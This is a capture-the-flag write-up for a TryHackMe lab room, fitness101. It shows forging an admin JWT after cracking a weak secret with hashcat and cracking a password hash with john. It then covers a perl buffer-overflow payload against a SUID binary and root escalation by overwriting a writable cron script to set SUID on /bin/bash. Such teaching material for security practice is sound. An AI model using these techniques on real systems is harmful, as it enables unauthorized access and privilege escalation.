Home fitness101
Post
Cancel

fitness101

fitness101

I’m so excited to share with you this write-up, about my own room that I created not too long ago !

1
room: https://tryhackme.com/jr/fitness101

Enumeration

Let’s start by enumerating open ports and services.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(yariss㉿Kali-VM)-[~/Desktop/fitness101]
└─$ nmap -sC -sV -T4 -A $IP -oN scan.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2023-12-09 23:06 +01
Nmap scan report for 192.168.11.103 (192.168.11.103)
Host is up (0.0016s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.5
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 98:be:9f:10:68:18:ba:07:64:e1:ae:ea:a6:32:b9:d3 (RSA)
|   256 f4:35:74:5d:4d:e8:8d:f4:c6:77:88:ee:87:e4:53:45 (ECDSA)
|_  256 82:6f:e9:cd:7c:ba:54:9d:57:94:28:57:d3:4b:c4:e0 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
| http-robots.txt: 1 disallowed entry 
|_/config.json
|_http-title: Fitness101
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-cors: HEAD GET POST PUT DELETE PATCH
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.25 seconds
                                                                             

Hmm, nmap detected 3 services :

  • ssh
  • ftp
  • http

Let’s slow down a bit and conceive how we can root the machine:

Since there are 3 services open, maybe the chaining is as follows:

  • Exploiting the website => getting ftp credentials => getting ssh credentials => privilege escalation

Now let’s start by http!

HTTP

There is a fullstack web application that is running, with the server on port 3000 !

Let’s bruteforce the web app directories:

1
└─$ dirsearch -u $IP -e* --wordlist=/usr/share/wordlists/dirb/common.txt

replace $IP by the ip of the machine

robots.txt is available, let’s explore it first!

1
2
User-agent: *
Disallow: /config.json

Hmm, seems like there is a config.json that we can access, let’s see its content

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
  "apiConfig": {
    "baseUrl": "192.168.11.102",
    "key": "V1cweGMyRnNjRlJSYWtKcVltMXpPUT09",
    "timeout": 5000
  },
  "databaseConfig": {
    "host": "192.168.11.102",
    "port": 3306,
    "username": "",
    "password": "",
    "database": ""
  },
  "appConfig": {
    "debugMode": false,
    "maxUploadSize": 5242880,
    "theme": "dark"
  }
}

Well, nothing interesting beside that key, maybe it is encrypted?

Let’s try to decode it using cyberchef magic option

key key

That’s a shame, it was a rabbit hole :)

Let’s now explore the web app

homepage

It seems like a regular app that provides fitness programs, let’s keep exploring…

programs

Hmm, a mystery program? let’s try to click on Apply Now

Nothing happens, we get redirected, let’s try another program.

Same, we get redirected, maybe we need to be logged in.

Before we do that, let’s keep exploring the app.

policy

After exploring a bit and reading the policy in /policy, we can understand how the website works : Access to Fitness101 programs is granted upon successful application. A user may apply to several programs. Upon Application, the admin accepts or rejects it depending on several factors. To get accepted quickly, provide accurate informations and reasonable goal.

At the bottom, there is the admin email (support@fitness101.com), we can save it, maybe it comes in handy later.

Now let’s create an account.

/login > Create an account

After registrating, let’s login.

Notice that signing in requires an email.

Okey we are in, let’s now try to apply for a particular program.

hypertrophy

Done, what now? let’s look for our application.

After digging up a bit, it is under our profile image as a dropdown. Or you can just visit /applications

pending

Status:PENDING ? Recall that the admin needs to approve a given application.

Let’s apply for mystery101 to see what happens. pending

Same thing… Maybe it is time to try to log in as the admin.

Let’s first understand how our login state is perseved in the browser, let’s inspect the browser storage.

localstorage

Our session is stored in localStorage, and the app is using JWT for authentication and authorization.

If you don’t know what JWT (Json Web Token) is, bear with me for a second.

jwt_flow

JSON Web Tokens (JWT) are tokens generated by the server upon user authentication on a web application, and then sent to the client (usually a browser).

These tokens are then sent on every HTTP request, which allows the server to authenticate the user.

To ensure integrity, information contained in the token is signed by a private key, owned by the server. When the server gets the token back from the client, it just has to compare the signature sent by the client with the one it will generate with its private key. If the signatures are identical, the token is then valid.

credit : https://www.vaadata.com/blog/jwt-tokens-and-security-working-principles-and-use-cases/

We can easily decode the token to see the payload using jwt.io

Let’s now grab our token and past it in jwt.io

jwt_io

A JWT token has 3 main sections :

  • Header : type of token (JWT), and the algorithm used (HS256)
  • Payload : this is our actual data
  • Signature : generated by taking the encoded Header, the encoded Payload, a secret key, and applying a specified signing algorithm. It ensures the integrity of the token and verifies its authenticity.

The final JWT is formed by concatenating the encoded Header, the encoded Payload, and the Signature, separated by dots.

The vulnerability here is the use of a weak secret key to sign the JWT. We can easily exploit it by using hashcat

Let’s recap:

  • find the secret key
  • modify the email to be the admin’s email
  • put the new token in localStorage
  • refresh the page

Finding the secret key

We can use hashcat to bruteforce the key.

First, let’s store the jwt in a file.

1
echo 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InlhcmlzcyIsImVtYWlsIjoieWFyaXNzQGdtYWlsLmNvbSIsImlhdCI6MTcwMjE2MzExOCwiZXhwIjoxNzAyNDIyMzE4fQ.qM0y5p-udzF3icGowqbK9n637jfWWULHcap0-P6jgtI' > jwt.txt

Now let’s use hashcat

1
2
hashcat -h | grep JWT                                             
  16500 | JWT (JSON Web Token)   
1
hashcat -a 0 -m 16500  jwt.txt  /usr/share/wordlists/rockyou.txt 

Explanation

  • -a 0 : choosing the attack mode to be a wordlist bruteforcing
  • -m 16500 : to precise the type of hashing / encryption
  • jwt.txt : our data to decrypt
  • ` /usr/share/wordlists/rockyou.txt ` : our wordlist

We got the secret key!

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InlhcmlzcyIsImVtYWlsIjoieWFyaXNzQGdtYWlsLmNvbSIsImlhdCI6MTcwMjE2MzExOCwiZXhwIjoxNzAyNDIyMzE4fQ.qM0y5p-udzF3icGowqbK9n637jfWWULHcap0-P6jgtI:secret

Now let’s modify the token in jwt.io

admin_jwt

Let’s grab the new crafted token, past it in localStorage and refresh the page.

1
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InlhcmlzcyIsImVtYWlsIjoic3VwcG9ydEBmaXRuZXNzMTAxLmNvbSIsImlhdCI6MTcwMjE2MzExOCwiZXhwIjoxNzAyNDIyMzE4fQ.2SvSMoiaK50N1dNLtpmHlfYvoqcLJo3CyLfJAf4jcZ0"}

We are admin !!

dashboard

Now that we have access to the admin, let’s explore the dashboard.

We can accept our submitted applications !!

manage_app

Let’s get back to our user, and explore our applications.

app

Nice, we can download accepted programs ! Let’s download Mystery101.

mystery_pdf

Hmm, seems like the program isn’t available after all, we need a user that matches the description, let’s go back to admin and look for that user.

getting back admin requires to change our localStorage data as we did before

ryan

ryan is our potential user! we now need to somehow to crack his password and use it to log in to ftp.

Under /dashboard/clients, we can see the details of each user, including their hashed passwords.

Let’s grab the hash, store it in a text file, and use john the ripper to crack it.

1
2
3
└─$ echo '$2a$10$JT1kMdyM7kqZoehmM2W4heRUasZ9oy85FPkXe5qksUqZWqbghSxEi' > hash.txt
┌──(yariss㉿Kali-VM)-[~/Desktop/fitness101]
└─$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt 

We got it ! the password is ryan123

FTP

Let’s use the credentials we gained from earlier to connect to ftp.

1
2
username : ryanfitlife57
password : ryan123
1
ftp $IP

replace $IP by the ip of the machine

It worked !!

There is only one file in the ftp server : note.txt, let’s download it.

1
2
ftp> get note.txt
ftp> bye

Okey, now let’s read the note’s content.

This is exciting ! There is a special program for ryan, as well as a metabolism calculator waiting for us in ssh.

Unfortunately, the ssh password is encrypted, but there is a hint: If you can’t find our instructions message, please rotate your phone at least 47 times.

Maybe the password is rotated 47 times? let’s try it using cyberchef.

password

Nice, we got it.

SSH

Okey, now let’s try to connect to ssh using what we have got so far from ftp.

1
2
username : mystery101
password : P4$$w0rd
1
ssh mystery101@$IP

replace $IP by the ip of the machine

We are officially inside the machine !

Gaining Access

Now that we are connected to the machine, we can try to explore it and privilege escalate our way through ! Let’s first explore what we have in our current directory

1
2
3
4
5
mystery101@fitness101:~$ ls -l
total 28
-rw-r--r-- 1 root          root             35 Dec  9 18:17 flag1.txt
-rwsr-xr-x 1 administrator administrator 17208 Dec  9 18:08 metabolism
-rw-rw---- 1 mystery101    mystery101     2201 Dec  9 12:58 mystery_program.txt

We found the first flag

1
2
mystery101@fitness101:~$ cat flag1.txt 
[REDACTED]

I’m not going to show the flag, I’ll let you discover it yourselves !

Interestingly enough, it seems that we have an executable with the SUID bit set, and the famous mystery program!

After exploring a bit the program, nothing seems odd, let’s now try to run the executable.

As expected, the program calculates the bmr (basic metabolic rate) of an individual, taking in consideration 4 factors :

  • weight
  • height
  • age
  • gender

Speculating the data type of each paramter, we can assume that gender is string, so maybe there is a buffer overflow that we can use.

Let’s reverse it using ghidra. But first, we need to send it to our local machine.

There are plenty ways to do this, fortunately python3 is installed in the machine, we can host an http server there and download the file from our host machine like so:

1
2
mystery101@fitness101:~$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
1
2
┌──(yariss㉿Kali-VM)-[~/Desktop/fitness101]
└─$ wget 192.168.11.115:8000/metabolism

After analyzing the executable using ghidra, here are the results:

Reading the decompiled source code carefully, we can observe very interesting lines of code:

1
24| if (local_24 == 0x3ec)

In line 24, if the condition is true, our real effective uid is set to our euid, what that means is:

  • When we execute a SUID program, our euid (effective uid) is the same as the owner of the program (administrator)
  • When our real euid (mystery101) is set to our euid (administrator) , we basically become the administrator
  • after executing execv('/bin/sh') we get a shell as the administrator

Now what is this value 0x3ec ? and what’s the initial value of local_24?

if we read the line 14

1
14| local_24 = getuid();

local_24 is our uid, and 0x3ec is 1004 in decimal and if we go further and dump the content of /etc/passwd, we get:

1
administrator:x:1004:1004::/home/administrator:/bin/bash

So basically, we need to overwrite local_24 to be 1004. From now on, let’s refer to local_24 as user_id

1 - From mystery101 to administrator

The program is using gets(), which is a very very vulnerable function. Here is the manual page describing gets():

1
2
3
4
5
6
BUGS
       Never use gets().  Because it is impossible to tell without knowing the data in  advance  how  many
       characters  gets()  will read, and because gets() will continue to store characters past the end of
       the buffer, it is extremely dangerous to use.  It has been used to break  computer  security.   Use
       fgets() instead.

Okey, all we need to do now is to feed gets() enough characters to overwrite our variable.

calculating the offset

In order to overwrite user_id, we need to count how many characters we need to write until we reach that variable. To do so, we can either experiment manually, or use gdb.

Let’s use gdb !

First, let’s generate a cyclic pattern that we will use as input to the gender param.

1
2
3
┌──(yariss㉿Kali-VM)-[~/Desktop/fitness101]
└─$ cyclic 100 
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

Now let’s run gdb, and inspect the value of user_id.

I’m using gef as an extension of gdb

1
2
gef➤  set disassembly-flavor intel
gef➤  disassemble main

Now let’s add breakpoint before the comparison is made

1
2
3
4
   0x000000000040146a <+178>:   call   0x401160 <gets@plt>
   0x000000000040146f <+183>:   mov    eax,DWORD PTR [rbp-0x1c]
   0x0000000000401472 <+186>:   cmp    eax,0x3ec

1
2
gef➤  b *main+186
Breakpoint 1 at 0x401472

Now let’s start

1
2
gef➤  start
gef➤  n (next: until you hit a breakpoint)
1
2
3
4
5
6
7
8
gef➤  c
Continuing.
Enter weight in kg: 3
Enter height in cm: 3
Enter age in years: 3
Enter gender (Male/Female): aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Breakpoint 1, 0x0000000000401472 in main ()

Okey we have hit our breakpoint, let’s examine the content of eax, since it’s the one storing our value

We know that eax stores the value of user_id since it is the one being compared to the value of 1004

1
2
gef➤  p $eax
$2 = 0x616a6161

hmm, we got the value 0x616a6161

Let’s now give the value to cyclic, to determine the offset.

1
2
3
┌──(yariss㉿Kali-VM)-[~/Desktop/fitness101]
└─$ cyclic -l 0x616a6161
34

Nice ! We need exactly 34 characters to reach our target.

crafting our payload

Remember that the program asks us for:

  • weight
  • height
  • age
  • gender

So we need to craft a payload that provides:

  • number + new line
  • number + new line
  • number + new line
  • our malicious payload (34 character + 1004 + new line)

We can use perl to generate the payload

1
perl -e 'print "3\n3\n3\n". "A"x34 . "\xec\x03\x00\x00" ."\n"' > payload

Explanation :

Let’s break down the exploit:

  • perl -e: This part invokes Perl and tells it to interpret the following code directly from the command line.
  • 'print "3\n3\n3\n" . "A"x34 . "\xec\x03\x00\x00" . "\n"' : This is the Perl code that gets executed.
    • 3\n3\n3\n : This part will be fed to weight, height, and age, this way we get directly to gender
    • "A"x34 : we fill the gender buffer with 34 characters,this way we reach the user_id variable.
    • "\xec\x03\x00\x00" : this is the representation of 1004 in little-endian byte order:
      • We take the hexadecimal value of 1004 : 0x03ec
      • We represent it in 4 bytes : 0x000003ec
      • Each byte represent two chars : 00,00,03,ec
      • To write that in little-endian, we just reverse each byte : ec,03,00,00
      • Now we write it as bytes, so perl can understand it: \xec\x03\x00\x00
    • "\n" To send the line

Let’s feed the executable our payload.

1
2
3
mystery101@fitness101:~$ cat payload | ./metabolism 
Welcome administrator, you may find this program in your repository, you can adjust it as you like!
mystery101@fitness101:~$ 

It’s kind of working, but we dont get a shell…

But why?

The program takes input from the output of our command, and when the program is done, it closes the pip.

But our program executes a shell, so we need that shell to stay open so we can interact with it

To get around this problem, we can simply open the standard input in cat, this way when the program gets executed, the pip stays open.

1
2
3
4
5
6
mystery101@fitness101:~$ cat payload - | ./metabolism 
Welcome administrator, you may find this program in your repository, you can adjust it as you like!
whoami
administrator
python3 -c 'import pty; pty.spawn("/bin/bash")'
administrator@fitness101:/home/mystery101$ 

2 - From administrator to root

After gaining access to administrator, let’s head to /home/administrator

1
2
3
4
5
6
7
pwd
/home/administrator
ls -l
total 12
-rw-r--r-- 1 root          root            31 Dec  9 12:58 flag2.txt
-rwxr-xr-x 1 administrator administrator 1520 Dec  9 15:50 metabolism.c
drwxr-xr-x 2 administrator administrator 4096 Dec  9 17:38 programs

We got the second flag !

1
2
cat flag2.txt
[REDACTED]

Let’s see what programs directory hold for us.

1
2
3
4
5
6
ls -l
total 16
-rwxr-xr-x 1 root root 715 Dec  9 12:58 endurance101.txt
-rwxr-xr-x 1 root root 840 Dec  9 12:58 hypertrophy101.txt
-rwxr-xr-x 1 root root 124 Dec  9 12:58 reminder.txt
-rwxr-xr-x 1 root root 620 Dec  9 12:58 strength101.txt

After spending sometime inspecting each file, the most promising one is reminder.txt

1
2
3
4
cat reminder.txt
To all admins,

please, if anyone is seeing this message, don't forget to include the mystery program to the backup script

It seems that there is a script that does some backup of the workout programs.

A backup is usually done automatically using cronjobs, we can try to explore this path.

Exploiting cron jobs

If you are not familiar with cron jobs, cron jobs are scheduled tasks that are executed automatically at predefined intervals.

Since there is some backup running automatically, let’s inspect the cronjobs that are running.

1
2
3
4
5
ls -l /etc/cron.d
total 12
-rw-r--r-- 1 root root 201 Feb 14  2020 e2scrub_all
-rw-r--r-- 1 root root 189 Dec  7 21:41 popularity-contest
-rw-r--r-- 1 root root  50 Dec  9 12:58 programs_backup

Interesting !! It seems like there is indeed a cron called programs_backup, let’s see its content.

1
2
cat /etc/cron.d/programs_backup
* * * * * root /usr/local/sbin/programs_backup.sh

Our theory is correct, the workout programs are being saved using /usr/local/sbin/programs_backup.sh script, the script runs every minute on the minute, and the one executing the script is root !!!

The next logical step is to inspect this script that is running.

1
2
ls -l /usr/local/sbin/programs_backup.sh
-rwxrw---- 1 administrator administrator 718 Dec  9 12:58 /usr/local/sbin/programs_backup.sh

Omg! we have the right to write to the file, this means we can input anything to it and it is going to run as root.

Crafting our malicious script

Let’s keep it simple, let’s give /bin/bash a SUID bit, this way we can spawn a shell as root

1
echo 'chmod u+s /bin/bash' > /usr/local/sbin/programs_backup.sh

Let’s wait 1 minute and then inspect /bin/bash

1
2
ls -la /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash

Okey ! it has the SUID bit set !!!!! To get an interactive shell , lets CTRL+C back to mystery101, and then execute bash

1
2
3
4
5
6
mystery101@fitness101:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
mystery101@fitness101:~$ bash -p
bash-5.0# whoami
root
bash-5.0# 

BOOOOM, WE ARE IN !!!

1
2
3
4
5
6
bash-5.0# cd /root
bash-5.0# ls
flag3.txt  snap
bash-5.0# cat flag3.txt 
[REDACTED]
bash-5.0# 

That was it, i hope you enjoyed the writeup !

This post is licensed under CC BY 4.0 by the author.

Protostar - stack challenges

Alfred